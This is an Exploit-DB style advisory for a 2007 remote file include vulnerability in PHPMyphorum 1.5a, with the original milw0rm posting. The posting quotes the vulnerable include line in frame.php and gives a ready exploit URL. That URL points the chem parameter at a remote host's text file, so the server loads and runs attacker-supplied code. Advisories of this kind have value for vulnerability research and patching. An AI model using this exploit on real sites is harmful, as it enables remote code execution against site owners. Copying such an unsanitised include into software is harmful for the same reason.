PHPMyphorum 1.5a File Include Vulnerability

vendor:

PHPMyphorum

by:

TheViper-hacker

N/A

CVSS

N/A

File Include Vulnerability

CWE

Product Name: PHPMyphorum

Affected Version From: 1.5a

Affected Version To: 1.5a

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Unknown

2007

PHPMyphorum 1.5a File Include Vulnerability

The vulnerability allows remote attackers to include arbitrary files via a crafted HTTP request.

Mitigation:

Unknown

Source

Exploit-DB raw data:

#########################################################################  
#                                                                       #                                            
#           [ PHPMyphorum 1.5a ]                                        #                           
#                                                                       #                                            
# Class:     File Include Vulnerability                                 #      
# Published  2007/1/17                                                  #                              
# Remote:    Yes                                                        #                                      
# Critical   Level : Dangerous                                          #                                                   
# Site:      http://www.comscripts.com/scripts/php.phpmyphorum.1104.html#        
# Author:    TheViper-hacker                                            #
# Contact:   theviper-hacker@hotmail.com        			#                          
#                       						#
#########################################################################
file ;
frame.php
======================================================
Vuln Code
include("$chem/session/cookie_sys_verif.php");
=======================================================
Exploit :        

Http:// www.Victem.0 / [Comment IT_path] /mep/frame.php?chem=http://turnkringonzehoop.be/viper.txt?
 

 ----  Thanx: [MoHaNdKo] [Cold ThreE] [cold zero] [The Wolf KSA]  ]organza[
 ---- GreeTz: All www.4azhar.Com Members Cont : rida-10@msn.com
--------------------------------------||  Viva ISLAM ||-----------------------------------------

# milw0rm.com [2007-01-17]